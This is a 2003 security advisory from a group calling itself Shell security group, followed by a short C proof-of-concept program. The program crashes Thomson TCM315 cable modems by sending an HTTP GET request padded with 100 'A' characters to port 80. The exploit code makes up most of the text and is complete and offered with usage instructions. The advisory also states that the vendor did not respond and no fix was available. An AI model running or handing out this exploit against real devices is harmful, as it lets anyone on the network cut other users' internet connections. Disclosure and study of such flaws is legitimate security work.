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- /*
- ADVISORY - Thomson Cablemodem TCM315 Denial of Service
-
- Shell security group (2003) http://www.shellsec.net
-
- November 10 of 2003
-
- Tested against: TCM315 MP
- Software Version: ST31.04.00
- Software Model: A801
- Bootloader: 2.1.4c
- Impact: Users with access to the network can remotely shutdown internet
- connection.
-
- Discovered by: aT4r Andres[at]shellsec.net
- Vendor: contacted (no answer)
- Fix: no yet
-
- usage: just, thdos.exe 192.168.100.1
-
- */
-
- #include <stdio.h>
- #include <winsock2.h>
-
- void main(int argc,char *argv[]) {
- char evil[150],buffer[1000];
- struct sockaddr_in shellsec;
- int fd;
- WSADATA ws;
-
- WSAStartup( MAKEWORD(1,1), &( ws) );
-
- shellsec.sin_family = AF_INET;
- shellsec.sin_port = htons(80);
- shellsec.sin_addr.s_addr = inet_addr(argv[1]);
-
- memset(evil,'\0',sizeof(evil));
- memset(evil,'A',100);
- sprintf(buffer,"GET /%s HTTP/1.1\r\n\r\n\r\n",evil);
-
- fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
- if (connect(fd,( struct sockaddr *)&shellsec,sizeof(shellsec)) != -1) {
- send(fd,buffer,strlen(buffer),0);
- printf("done. Thomson Cablemodem reset!\n");
- sleep(100);
- }
- else printf("Unable to connect to CM.\n");
- }
-